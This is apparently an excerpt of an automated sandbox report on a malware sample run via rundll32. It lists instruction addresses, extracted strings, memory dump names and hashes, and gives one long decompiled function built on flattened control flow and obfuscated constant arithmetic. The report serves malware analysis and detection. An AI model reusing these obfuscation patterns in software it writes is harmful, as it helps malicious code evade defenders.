0x029c40b6
0x029c40c0
0x029c40c5
0x029c40cb
0x029c40cf
0x029c40d7
0x029c40df
0x029c40e4
0x029c40ec
0x029c40f4
0x029c40fc
0x029c4104
0x029c410c
0x029c4114
0x029c411c
0x029c4124
0x029c4130
0x029c4135
0x029c413f
0x029c4144
0x029c414a
0x029c4152
0x029c415a
0x029c4162
0x029c416a
0x029c416f
0x029c4177
0x029c417f
0x029c4187
0x029c418c
0x029c4194
0x029c41a1
0x029c41a2
0x029c41ac
0x029c41b0
0x029c41b5
0x029c41bd
0x029c41ca
0x029c41d5
0x029c41dd
0x029c41e8
0x029c41f6
0x029c41fb
0x029c4204
0x029c420f
0x029c421a
0x029c4222
0x029c422a
0x029c4237
0x029c423a
0x029c423e
0x029c4246
0x029c424e
0x029c425b
0x029c4267
0x029c426b
0x029c4273
0x029c427e
0x029c4289
0x029c4294
0x029c42a7
0x029c42aa
0x029c42b1
0x029c42bc
0x029c42c4
0x029c42cc
0x029c42d9
0x029c42dd
0x029c42e5
0x029c42f7
0x029c42fa
0x029c4301
0x029c430c
0x029c4314
0x029c4318
0x029c4320
0x029c4325
0x029c432d
0x029c4338
0x029c4343
0x029c434e
0x029c4356
0x029c435b
0x029c4363
0x029c436b
0x029c4376
0x029c4381
0x029c438c
0x029c4397
0x029c43a2
0x029c43ad
0x029c43b8
0x029c43c0
0x029c43c5
0x029c43cd
0x029c43d5
0x029c43e5
0x029c43ef
0x029c43fc
0x029c4404
0x029c440f
0x029c4414
0x029c441a
0x029c4422
0x029c442a
0x029c443c
0x029c443f
0x029c4446
0x029c444d
0x029c4458
0x029c4460
0x029c4468
0x029c4470
0x029c4478
0x029c4480
0x029c448d
0x029c4491
0x029c4499
0x029c44a1
0x029c44a9
0x029c44a9
0x029c44ab
0x029c44ac
0x029c44ac
0x029c44ac
0x029c44b1
0x029c44b1
0x029c44b3
0x029c4661
0x029c4666
0x029c46aa
0x029c46c6
0x029c46c9
0x029c46ce
0x029c46d1
0x029c46d8
0x00000000
0x029c44b9
0x029c44bf
0x029c46fd
0x029c44c5
0x029c44cb
0x029c45c3
0x029c45c8
0x029c45d6
0x029c462d
0x029c4642
0x029c4647
0x029c464a
0x00000000
0x029c44d1
0x029c44d7
0x029c459e
0x029c45a6
0x029c45a6
0x029c45a9
0x00000000
0x00000000
0x029c45a3
0x029c45a3
0x029c45a3
0x029c45ab
0x029c45ae
0x00000000
0x029c44dd
0x029c44df
0x029c4578
0x029c457f
0x029c4582
0x029c4584
0x029c458c
0x029c44a9
0x029c44a9
0x029c44ab
0x00000000
0x029c44ab
0x029c44e1
0x029c44e7
0x00000000
0x029c44ed
0x029c44ed
0x029c4516
0x029c451b
0x029c451e
0x029c44a9
0x029c44a9
0x029c44ab
0x029c44ac
0x029c44ac
0x00000000
0x029c44ac
0x029c44a9
0x029c44e7
0x029c44df
0x029c44d7
0x029c44cb
0x029c44bf
0x029c4704
0x029c4715
0x029c46d9
0x029c46d9
0x029c46d9
0x00000000
0x029c46e5
0x029c44ac

Strings

>&1Z, xrefs: 029C3F66
;e=, xrefs: 029C42E5
O`, xrefs: 029C432D
H, xrefs: 029C4499
y*, xrefs: 029C436B
.F|, xrefs: 029C3E57
q", xrefs: 029C421A
}, xrefs: 029C3F00
{oS\, xrefs: 029C417F
d|, xrefs: 029C42DD
^1+, xrefs: 029C4194

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: }$.F|$;e=$>&1Z$H$O`$^1+$d|$y*${oS\$q"
API String ID: 0-1245192883
Opcode ID: 6e8304ff8575770d28f4a54c4186212641424f0527c01a2255c670b2e3266d20
Instruction ID: 54b077f945e46eadd016f4205a467b839701da388c07decb680e798bbe26d5f8
Opcode Fuzzy Hash: 6e8304ff8575770d28f4a54c4186212641424f0527c01a2255c670b2e3266d20
Instruction Fuzzy Hash: 96222371608380DFE368CF25C58AA5BBBF2FBC5758F10891DE29986260D7B59949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F5EA0, Relevance: 10.9, Strings: 8, Instructions: 927COMMON

Download Yara Rule

Strings

)C,, xrefs: 6E9FA1FD
_, xrefs: 6E9FA35B
H, xrefs: 6E9F5FD9
_, xrefs: 6E9FA34B
" fn( -> = { }truefalse{0x, xrefs: 6E9FA519
called `Option::unwrap()` on a `None` value, xrefs: 6E9FA6AF
{recursion limit reached}{invalid syntax}, xrefs: 6E9FA445
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E9F6309

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: " fn( -> = { }truefalse{0x$)C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$H$_$_$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 0-4270729952
Opcode ID: fc02d8d65d5b0661632abc473a54cae5ac52ab4235cca017d7c44d5ee8c36fe3
Instruction ID: 542d1ff04f3e3d6c02d37bce20603823ba2d7812f812c599c161ee09825f7d16
Opcode Fuzzy Hash: fc02d8d65d5b0661632abc473a54cae5ac52ab4235cca017d7c44d5ee8c36fe3
Instruction Fuzzy Hash: 9A62E570718302CFEB548EA5D4507AAB7E6AFC5314F14892DE8998B386D7B1D847CF82

Uniqueness

Uniqueness Score: -1.00%

Function 029DD5FE, Relevance: 10.6, Strings: 8, Instructions: 608
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E029DD5FE(intOrPtr* __ecx, signed int __edx) {
				char _v128;
				char _v256;
				char _v288;
				signed int _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				signed int _v304;
				signed int _v308;
				unsigned int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				unsigned int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				signed int _v444;
				signed int _v448;
				unsigned int _v452;
				signed int _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				signed int _v472;
				signed int _v476;
				signed int _v480;
				signed int _v484;
				intOrPtr* _v488;
				unsigned int _v492;
				signed int _v496;
				signed int _v500;
				signed int _v504;
				signed int _v508;
				signed int _v512;
				signed int _v516;
				signed int _v520;
				signed int _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				unsigned int _v548;
				signed int _v552;
				signed int _v556;
				signed int _t638;
				void* _t643;
				void* _t645;
				signed int _t648;
				void* _t649;
				void* _t684;
				signed int _t686;
				int _t688;
				signed int _t690;
				signed int _t691;
				signed int _t695;
				intOrPtr* _t696;
				void* _t698;
				void* _t708;
				void* _t713;
				signed int _t719;
				void* _t756;
				signed int _t773;
				signed int _t774;
				signed int _t775;
				signed int _t776;
				signed int _t777;
				signed int _t778;
				signed int _t779;
				signed int _t780;
				signed int _t781;
				signed int _t782;
				signed int _t783;
				signed int _t784;
				signed int _t785;
				signed int _t786;
				signed int _t787;
				void* _t789;
				void* _t790;
				void* _t793;
				void* _t794;
				signed int _t799;
				signed int _t800;
				signed int* _t801;
				signed int* _t802;
				void* _t807;

				_t696 = __ecx;
				_t801 =  &_v556;
				_v292 = _v292 & 0x00000000;
				_v296 = 0x24ef18;
				_v432 = 0x6807f6;
				_v432 = _v432 + 0xc1d0;
				_v432 = _v432 | 0x4e6dc4da;
				_v432 = _v432 ^ 0x4e6dcdde;
				_v352 = 0x58a8af;
				_v352 = _v352 + 0x4945;
				_v352 = _v352 ^ 0x005e8e6e;
				_v332 = 0x47a7e9;
				_v304 = __edx;
				_t793 = 0xc3ba346;
				_v488 = __ecx;
				_t799 = 0x51;
				_v332 = _v332 / _t799;
				_v332 = _v332 ^ 0x000a6999;
				_v388 = 0xce3530;
				_v388 = _v388 + 0xffff994b;
				_v388 = _v388 + 0xfcf;
				_v388 = _v388 ^ 0x00cb1c88;
				_v524 = 0xb2cc76;
				_v524 = _v524 + 0x9146;
				_v524 = _v524 + 0xffffbb7f;
				_v524 = _v524 ^ 0x8c867547;
				_v524 = _v524 ^ 0x8c346e6b;
				_v412 = 0xfc8e04;
				_v412 = _v412 >> 8;
				_t774 = 0x71;
				_v412 = _v412 * 0x3a;
				_v412 = _v412 ^ 0x00372199;
				_v444 = 0xfa5ff8;
				_v444 = _v444 ^ 0x860f3dec;
				_v444 = _v444 << 0x10;
				_v444 = _v444 ^ 0x621f63b2;
				_v328 = 0xb2bda6;
				_v328 = _v328 | 0xd21dda15;
				_v328 = _v328 ^ 0xd2bc271a;
				_v548 = 0x3b49b6;
				_v548 = _v548 >> 0xb;
				_v548 = _v548 + 0xbb3e;
				_v548 = _v548 + 0xffff56dd;
				_v548 = _v548 ^ 0x000cff07;
				_v456 = 0x565647;
				_v456 = _v456 + 0xf716;
				_v456 = _v456 + 0x3321;
				_v456 = _v456 ^ 0x00583957;
				_v492 = 0xbb53b3;
				_v492 = _v492 / _t774;
				_v492 = _v492 >> 0xa;
				_v492 = _v492 >> 0xf;
				_v492 = _v492 ^ 0x0002bbd3;
				_v380 = 0x5ea3ed;
				_t775 = 0x12;
				_v380 = _v380 / _t775;
				_v380 = _v380 ^ 0x0002b3f6;
				_v428 = 0xc5e382;
				_v428 = _v428 + 0x10b;
				_v428 = _v428 * 0x3d;
				_v428 = _v428 ^ 0x2f2d31ce;
				_v384 = 0x7e50f1;
				_v384 = _v384 + 0xffffd7b9;
				_v384 = _v384 ^ 0x4dd639cf;
				_v384 = _v384 ^ 0x4da37294;
				_v516 = 0x676c72;
				_t776 = 0x48;
				_v516 = _v516 / _t776;
				_v516 = _v516 << 0xb;
				_t777 = 0x77;
				_v516 = _v516 * 0x33;
				_v516 = _v516 ^ 0x4a114b66;
				_v440 = 0x7c8da1;
				_v440 = _v440 + 0x76bb;
				_v440 = _v440 + 0xffffa3ac;
				_v440 = _v440 ^ 0x0070fb01;
				_v448 = 0xff25f5;
				_v448 = _v448 / _t777;
				_v448 = _v448 << 8;
				_v448 = _v448 ^ 0x0224052d;
				_v544 = 0xf7834f;
				_v544 = _v544 << 0xf;
				_v544 = _v544 + 0xbbb1;
				_v544 = _v544 | 0x06550611;
				_v544 = _v544 ^ 0xc7f9d9cf;
				_v484 = 0xc145f2;
				_v484 = _v484 | 0x1a332a8f;
				_v484 = _v484 + 0xffff0278;
				_v484 = _v484 ^ 0x1af43a4d;
				_v312 = 0x4b1d29;
				_v312 = _v312 >> 2;
				_v312 = _v312 ^ 0x00177a04;
				_v336 = 0x360ace;
				_v336 = _v336 ^ 0xc80cb5e9;
				_v336 = _v336 ^ 0xc839ddc7;
				_v528 = 0xc44b32;
				_v528 = _v528 | 0x4383368e;
				_v528 = _v528 ^ 0x03d39e25;
				_v528 = _v528 ^ 0x53d26fc1;
				_v528 = _v528 ^ 0x13cfd90c;
				_v536 = 0xc858c;
				_t778 = 0x1a;
				_v536 = _v536 * 0xa;
				_v536 = _v536 | 0x3f6cb10e;
				_v536 = _v536 + 0x8b75;
				_v536 = _v536 ^ 0x3f749682;
				_v372 = 0xe3b868;
				_v372 = _v372 >> 0xb;
				_v372 = _v372 ^ 0x000877a5;
				_v520 = 0x43f6c5;
				_v520 = _v520 ^ 0xab5b9b7f;
				_v520 = _v520 / _t778;
				_v520 = _v520 | 0x87a4b1c4;
				_v520 = _v520 ^ 0x87bb68a1;
				_v376 = 0xa66ec3;
				_v376 = _v376 | 0x8d13b12a;
				_v376 = _v376 ^ 0x8dbc5e75;
				_v452 = 0xb2761d;
				_v452 = _v452 | 0x8e13417f;
				_v452 = _v452 >> 4;
				_v452 = _v452 ^ 0x08ea57ac;
				_v420 = 0x566571;
				_v420 = _v420 + 0x92bf;
				_v420 = _v420 >> 0x10;
				_v420 = _v420 ^ 0x000d4db7;
				_v508 = 0xacfdd3;
				_v508 = _v508 | 0x5370955f;
				_t779 = 0x4a;
				_v508 = _v508 / _t779;
				_v508 = _v508 << 0xe;
				_v508 = _v508 ^ 0xa37f5948;
				_v532 = 0x5b36aa;
				_t780 = 0x66;
				_v532 = _v532 / _t780;
				_v532 = _v532 + 0x9645;
				_v532 = _v532 + 0x7571;
				_v532 = _v532 ^ 0x000463d2;
				_v460 = 0xcd536;
				_v460 = _v460 | 0xa48cf865;
				_t781 = 0x3c;
				_v460 = _v460 * 0x73;
				_v460 = _v460 ^ 0xeb561116;
				_v360 = 0xd5dba;
				_v360 = _v360 / _t781;
				_v360 = _v360 ^ 0x00005c14;
				_v404 = 0xa212a4;
				_v404 = _v404 | 0x58704cfe;
				_t782 = 0x60;
				_v404 = _v404 / _t782;
				_v404 = _v404 ^ 0x00e6e781;
				_v500 = 0x3c0644;
				_v500 = _v500 << 2;
				_t690 = 0x58;
				_v500 = _v500 / _t690;
				_t783 = 0x6d;
				_v500 = _v500 / _t783;
				_v500 = _v500 ^ 0x00078705;
				_v468 = 0xa3c72f;
				_v468 = _v468 * 0x48;
				_v468 = _v468 ^ 0xb2004da4;
				_v468 = _v468 ^ 0x9c15ecbc;
				_v344 = 0xe572d1;
				_v344 = _v344 >> 0xc;
				_v344 = _v344 ^ 0x0006c657;
				_v436 = 0xf66be8;
				_v436 = _v436 + 0xffff754a;
				_v436 = _v436 | 0xbfbde8c6;
				_v436 = _v436 ^ 0xbff52719;
				_v476 = 0x9cf726;
				_v476 = _v476 | 0xf4405671;
				_v476 = _v476 << 8;
				_v476 = _v476 ^ 0xdcf65da8;
				_v396 = 0xb1198c;
				_v396 = _v396 | 0x5afbbeef;
				_v396 = _v396 ^ 0x5af84ad6;
				_v556 = 0xa069a;
				_v556 = _v556 + 0xffff3d5d;
				_v556 = _v556 | 0xabf4caf6;
				_v556 = _v556 * 0x66;
				_v556 = _v556 ^ 0x871ad044;
				_v320 = 0xeddd1e;
				_v320 = _v320 + 0xffff6c47;
				_v320 = _v320 ^ 0x00e224c3;
				_v552 = 0xa16b02;
				_v552 = _v552 >> 0xf;
				_v552 = _v552 << 4;
				_v552 = _v552 ^ 0x54d73f19;
				_v552 = _v552 ^ 0x54d75985;
				_v464 = 0xdf0941;
				_v464 = _v464 + 0xcb8c;
				_v464 = _v464 >> 9;
				_v464 = _v464 ^ 0x00056a58;
				_v472 = 0xcffc0b;
				_v472 = _v472 + _t799;
				_v472 = _v472 ^ 0xefa8c7c3;
				_v472 = _v472 ^ 0xef6bd9c6;
				_v324 = 0x489401;
				_v324 = _v324 + 0x2f52;
				_v324 = _v324 ^ 0x00492e44;
				_v368 = 0xd20175;
				_v368 = _v368 ^ 0x642ec617;
				_v368 = _v368 ^ 0x64f7b4e7;
				_v540 = 0xdf2574;
				_v540 = _v540 << 0xb;
				_v540 = _v540 >> 3;
				_t784 = 0x34;
				_v540 = _v540 / _t784;
				_v540 = _v540 ^ 0x00965a73;
				_v316 = 0xede385;
				_v316 = _v316 << 2;
				_v316 = _v316 ^ 0x03ba3859;
				_v512 = 0x14522c;
				_t785 = 0x29;
				_v512 = _v512 / _t785;
				_v512 = _v512 + 0xfffff241;
				_v512 = _v512 | 0x236c33b5;
				_v512 = _v512 ^ 0x236845c9;
				_v348 = 0x5f65e8;
				_v348 = _v348 ^ 0x05ce3e22;
				_v348 = _v348 ^ 0x059645b8;
				_v408 = 0xe58394;
				_v408 = _v408 + 0xe0f7;
				_t786 = 0x52;
				_v408 = _v408 / _t786;
				_v408 = _v408 ^ 0x000db681;
				_v496 = 0x46a785;
				_v496 = _v496 ^ 0x49997b83;
				_v496 = _v496 + 0xffff3964;
				_v496 = _v496 << 0xe;
				_v496 = _v496 ^ 0xc55c07fb;
				_v504 = 0xc28d72;
				_v504 = _v504 / _t690;
				_v504 = _v504 << 0xc;
				_v504 = _v504 >> 9;
				_v504 = _v504 ^ 0x00189682;
				_v340 = 0x971023;
				_t787 = 0x3f;
				_v340 = _v340 / _t787;
				_v340 = _v340 ^ 0x0007e653;
				_v480 = 0x5ee1b;
				_v480 = _v480 ^ 0x94dca5bc;
				_v480 = _v480 + 0xa3cd;
				_v480 = _v480 ^ 0x94db08db;
				_v392 = 0xf65325;
				_v392 = _v392 + 0xe39f;
				_v392 = _v392 >> 0xa;
				_v392 = _v392 ^ 0x000af9f4;
				_v400 = 0xbac066;
				_v400 = _v400 ^ 0xd78d05c4;
				_v400 = _v400 >> 0xb;
				_v400 = _v400 ^ 0x001d17a0;
				_v356 = 0x9ce01f;
				_v356 = _v356 | 0xeb61c9d9;
				_v356 = _v356 ^ 0xebf5013f;
				_v416 = 0x59bba4;
				_v416 = _v416 + 0xffffa4e4;
				_v416 = _v416 + 0xffff160d;
				_v416 = _v416 ^ 0x0052dc60;
				_t691 = _v304;
				_t800 = _v304;
				_v424 = 0xb9ecd0;
				_v424 = _v424 * 0x33;
				_v424 = _v424 * 0x48;
				_v424 = _v424 ^ 0x6ad5bf37;
				_v364 = 0x5d0977;
				_v364 = _v364 ^ 0xa81ddbfb;
				_v364 = _v364 ^ 0xa8418dcc;
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t807 = _t793 - 0x4450dbe;
							if(_t807 > 0) {
								break;
							}
							if(_t807 == 0) {
								_t789 = 0x4000;
								_push(_t696);
								_t648 = E029D6F53(0x4000);
								_v308 = _t648;
								__eflags = _t648;
								if(__eflags == 0) {
									return _t648;
								}
								_t793 = 0x130c6e5;
								L11:
								_t696 = _v488;
								while(1) {
									L1:
									goto L2;
								}
							}
							if(_t793 == 0x130c6e5) {
								_push(0x29c17d4);
								_t649 = E029E0AD3(_v508, _v532, __eflags);
								_push( &_v256);
								_push(_t649);
								_push(_t789);
								_push(_v308);
								 *((intOrPtr*)(E029CDFB1(0xae2a7e8d, 0x13a)))();
								E029D2EED(_v460, _v360, _v404, _t649);
								_t801 =  &(_t801[6]);
								_t793 = 0x1af53ca;
								goto L11;
							}
							if(_t793 == 0x13fc339) {
								E029CF699(_v356, _v308, _v416, _v424, _v364);
								return 0;
							}
							if(_t793 == 0x1af53ca) {
								_t789 = _t789 +  *((intOrPtr*)(_t696 + 4));
								_push(_t696);
								_t800 = E029D6F53(_t789);
								__eflags = _t800;
								_t645 = 0xd5662cb;
								_t696 = _v488;
								_t793 =  !=  ? 0xd5662cb : 0x13fc339;
								continue;
							}
							if(_t793 == 0x34ad1e7) {
								E029D4626( *_t696,  *((intOrPtr*)(_t696 + 4)), _t691, _v324, _v368, _v540, _v316);
								_t696 = _v488;
								_t801 =  &(_t801[5]);
								_t793 = 0xeed25b2;
								_t691 = _t691 +  *((intOrPtr*)(_t696 + 4));
								goto L1;
							}
							if(_t793 != 0x375e34a) {
								goto L31;
							}
							_push(_t696);
							_push(4);
							_push(_t696);
							_push(_t696);
							_t708 = 0x10;
							_t789 = E029D2CCF(_t708);
							_push( &_v128);
							_push(_v516);
							_push(_t789);
							_push(0xb);
							E029D8601(_v428, _v384);
							_t793 = 0x79ecab0;
							L10:
							_t801 =  &(_t801[8]);
							goto L11;
						}
						__eflags = _t793 - 0x79ecab0;
						if(_t793 == 0x79ecab0) {
							_t794 =  &_v256;
							_push(_t696);
							_push(8);
							_push(_t696);
							_push(_t696);
							_push(0x10);
							_pop(0);
							_t756 = E029D2CCF(0);
							_t802 =  &(_t801[4]);
							_t638 = _v432;
							__eflags = _t638 - _t756;
							if(_t638 < _t756) {
								_t773 = _t756 - _t638;
								_t790 = _t794;
								_t719 = _t773 >> 1;
								__eflags = _t719;
								_t688 = memset(_t790, 0x2d002d, _t719 << 2);
								asm("adc ecx, ecx");
								_t794 = _t794 + _t773 * 2;
								memset(_t790 + _t719, _t688, 0);
								_t802 =  &(_t802[6]);
							}
							_push(0);
							_push(8);
							_push(0);
							_push(0);
							_t698 = 0x10;
							_t643 = E029D2CCF(_t698);
							_push(_t794);
							_push(_v376);
							_t789 = _t643;
							_push(_t789);
							_push(0xb);
							E029D8601(_v372, _v520);
							_t696 = _v488;
							_t801 =  &(_t802[8]);
							_t793 = 0x4450dbe;
							_t645 = 0xd5662cb;
							goto L31;
						}
						__eflags = _t793 - 0xc3ba346;
						if(__eflags == 0) {
							_t793 = 0xeb2477a;
							goto L2;
						}
						__eflags = _t793 - _t645;
						if(_t793 == _t645) {
							_push(0x29c1824);
							_v300 = _t789 + _t800;
							_t691 = E029CE20F( &_v128, __eflags,  &_v288, _t789 + _t800 - _t800, _v476,  &_v256, E029C54C0(_v344, _v436), _v396, _v556, _v320) + _t800;
							E029D2EED(_v552, _v464, _v472, _t668);
							_t801 =  &(_t801[0xb]);
							_t793 = 0x34ad1e7;
							goto L11;
						}
						__eflags = _t793 - 0xeb2477a;
						if(_t793 == 0xeb2477a) {
							_push(_t696);
							_push(1);
							_push(_t696);
							_push(_t696);
							_t713 = 8;
							_t789 = E029D2CCF(_t713);
							_push( &_v288);
							_push(_v328);
							_push(_t789);
							_push(9);
							E029D8601(_v412, _v444);
							_t793 = 0x375e34a;
							goto L10;
						}
						__eflags = _t793 - 0xeed25b2;
						if(_t793 != 0xeed25b2) {
							goto L31;
						}
						_push(0x29c1774);
						_t684 = E029DC103(_v496, __eflags, _v504, _t691,  &_v256, _v340, E029C54C0(_v512, _v348), _v300 - _t691);
						E029D2EED(_v480, _v392, _v400, _t680);
						_t686 = _v304;
						_t695 = _t691 + _t684 - _t800;
						__eflags = _t695;
						 *_t686 = _t800;
						 *(_t686 + 4) = _t695;
						L23:
						return _v308;
						L31:
						__eflags = _t793 - 0x824eb52;
					} while (__eflags != 0);
					goto L23;
				}
			}

0x029dd5fe
0x029dd5fe
0x029dd604
0x029dd60c
0x029dd617
0x029dd61f
0x029dd627
0x029dd62f
0x029dd637
0x029dd642
0x029dd64d
0x029dd658
0x029dd66e
0x029dd675
0x029dd67e
0x029dd682
0x029dd687
0x029dd690
0x029dd69b
0x029dd6a6
0x029dd6b1
0x029dd6bc
0x029dd6c7
0x029dd6cf
0x029dd6d7
0x029dd6df
0x029dd6e7
0x029dd6ef
0x029dd6fa
0x029dd70a
0x029dd70d
0x029dd714
0x029dd71f
0x029dd72a
0x029dd735
0x029dd73d
0x029dd748
0x029dd753
0x029dd75e
0x029dd769
0x029dd771
0x029dd776
0x029dd77e
0x029dd786
0x029dd78e
0x029dd796
0x029dd79e
0x029dd7a6
0x029dd7ae
0x029dd7be
0x029dd7c2
0x029dd7c7
0x029dd7cc
0x029dd7d4
0x029dd7e6
0x029dd7e9
0x029dd7f0
0x029dd7fb
0x029dd806
0x029dd819
0x029dd820
0x029dd82b
0x029dd836
0x029dd841
0x029dd84c
0x029dd857
0x029dd867
0x029dd86c
0x029dd872
0x029dd87c
0x029dd87f
0x029dd883
0x029dd88b
0x029dd896
0x029dd8a1
0x029dd8ac
0x029dd8b7
0x029dd8cd
0x029dd8d4
0x029dd8dc
0x029dd8e7
0x029dd8ef
0x029dd8f4
0x029dd8fc
0x029dd904
0x029dd90c
0x029dd914
0x029dd91c
0x029dd924
0x029dd92c
0x029dd937
0x029dd93f
0x029dd94a
0x029dd955
0x029dd960
0x029dd96b
0x029dd973
0x029dd97b
0x029dd983
0x029dd98b
0x029dd993
0x029dd9a0
0x029dd9a3
0x029dd9a7
0x029dd9af
0x029dd9b7
0x029dd9bf
0x029dd9ca
0x029dd9d2
0x029dd9dd
0x029dd9e5
0x029dd9f5
0x029dd9f9
0x029dda01
0x029dda09
0x029dda14
0x029dda1f
0x029dda2a
0x029dda32
0x029dda3a
0x029dda3f
0x029dda47
0x029dda52
0x029dda5d
0x029dda65
0x029dda70
0x029dda78
0x029dda84
0x029dda87
0x029dda8d
0x029dda92
0x029dda9a
0x029ddaa8
0x029ddaad
0x029ddab3
0x029ddabb
0x029ddac3
0x029ddacb
0x029ddad3
0x029ddae0
0x029ddae3
0x029ddae7
0x029ddaef
0x029ddb05
0x029ddb0c
0x029ddb17
0x029ddb22
0x029ddb34
0x029ddb39
0x029ddb42
0x029ddb4d
0x029ddb55
0x029ddb5e
0x029ddb63
0x029ddb6d
0x029ddb70
0x029ddb74
0x029ddb7c
0x029ddb89
0x029ddb8d
0x029ddb95
0x029ddb9d
0x029ddba8
0x029ddbb0
0x029ddbbb
0x029ddbc6
0x029ddbd1
0x029ddbdc
0x029ddbe7
0x029ddbef
0x029ddbf7
0x029ddbfc
0x029ddc04
0x029ddc0f
0x029ddc1a
0x029ddc25
0x029ddc2d
0x029ddc35
0x029ddc42
0x029ddc46
0x029ddc4e
0x029ddc59
0x029ddc64
0x029ddc6f
0x029ddc77
0x029ddc7c
0x029ddc81
0x029ddc8b
0x029ddc93
0x029ddc9b
0x029ddca3
0x029ddca8
0x029ddcb0
0x029ddcb8
0x029ddcbc
0x029ddcc4
0x029ddccc
0x029ddcd7
0x029ddce2
0x029ddced
0x029ddcf8
0x029ddd03
0x029ddd0e
0x029ddd16
0x029ddd1b
0x029ddd26
0x029ddd2b
0x029ddd2f
0x029ddd37
0x029ddd42
0x029ddd4a
0x029ddd55
0x029ddd63
0x029ddd68
0x029ddd6c
0x029ddd74
0x029ddd7c
0x029ddd84
0x029ddd8f
0x029ddd9a
0x029ddda5
0x029dddb0
0x029dddc4
0x029dddc9
0x029dddd0
0x029ddddb
0x029ddde3
0x029dddeb
0x029dddf3
0x029dddf8
0x029dde00
0x029dde10
0x029dde16
0x029dde1b
0x029dde20
0x029dde28
0x029dde3a
0x029dde3d
0x029dde44
0x029dde4f
0x029dde57
0x029dde5f
0x029dde67
0x029dde6f
0x029dde7a
0x029dde85
0x029dde8d
0x029dde98
0x029ddea3
0x029ddeae
0x029ddeb6
0x029ddec1
0x029ddecc
0x029dded7
0x029ddee2
0x029ddeed
0x029ddef8
0x029ddf03
0x029ddf15
0x029ddf1c
0x029ddf23
0x029ddf36
0x029ddf45
0x029ddf4c
0x029ddf57
0x029ddf62
0x029ddf6d
0x029ddf78
0x029ddf78
0x029ddf7d
0x029ddf7d
0x029ddf7d
0x029ddf7d
0x029ddf83
0x00000000
0x00000000
0x029ddf89
0x029de0e9
0x029de0f4
0x029de0f5
0x029de0fa
0x029de102
0x029de104
0x029de1d1
0x029de1d1
0x029de10a
0x029de013
0x029de013
0x029ddf78
0x029ddf78
0x00000000
0x029ddf78
0x029ddf78
0x029ddf95
0x029de08a
0x029de08f
0x029de0a3
0x029de0a4
0x029de0a5
0x029de0a6
0x029de0b8
0x029de0d0
0x029de0d5
0x029de0d8
0x00000000
0x029de0d8
0x029ddfa1
0x029de38a
0x00000000
0x029de392
0x029ddfad
0x029de054
0x029de061
0x029de067
0x029de06e
0x029de070
0x029de076
0x029de07a
0x00000000
0x029de07a
0x029ddfb9
0x029de03b
0x029de040
0x029de044
0x029de047
0x029de04c
0x00000000
0x029de04c
0x029ddfc1
0x00000000
0x00000000
0x029ddfda
0x029ddfdb
0x029ddfdd
0x029ddfde
0x029ddfe1
0x029ddfe7
0x029ddff0
0x029ddff1
0x029de003
0x029de004
0x029de006
0x029de00b
0x029de010
0x029de010
0x00000000
0x029de010
0x029de114
0x029de11a
0x029de2bb
0x029de2d1
0x029de2d2
0x029de2d4
0x029de2d5
0x029de2d6
0x029de2d8
0x029de2de
0x029de2e0
0x029de2e3
0x029de2ea
0x029de2ec
0x029de2ee
0x029de2f0
0x029de2f9
0x029de2f9
0x029de2fb
0x029de2fd
0x029de2ff
0x029de302
0x029de302
0x029de302
0x029de31b
0x029de31c
0x029de31e
0x029de31f
0x029de322
0x029de323
0x029de328
0x029de329
0x029de334
0x029de33d
0x029de33e
0x029de340
0x029de345
0x029de349
0x029de34c
0x029de351
0x00000000
0x029de351
0x029de120
0x029de126
0x029de2ad
0x00000000
0x029de2ad
0x029de12c
0x029de12e
0x029de23a
0x029de23f
0x029de298
0x029de29b
0x029de2a0
0x029de2a3
0x00000000
0x029de2a3
0x029de134
0x029de13a
0x029de1eb
0x029de1ec
0x029de1ee
0x029de1ef
0x029de1f2
0x029de1f8
0x029de201
0x029de202
0x029de217
0x029de218
0x029de21a
0x029de21f
0x00000000
0x029de21f
0x029de140
0x029de146
0x00000000
0x00000000
0x029de157
0x029de18d
0x029de1aa
0x029de1af
0x029de1b9
0x029de1b9
0x029de1bb
0x029de1bd
0x029de1c0
0x00000000
0x029de356
0x029de356
0x029de356
0x00000000
0x029de362

Strings

D.I, xrefs: 029DDCE2
EI, xrefs: 029DD642
qeV, xrefs: 029DDA47
W9X, xrefs: 029DD7A6
w], xrefs: 029DDF57
qu, xrefs: 029DDABB
e_, xrefs: 029DDD84
rlg, xrefs: 029DD857

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

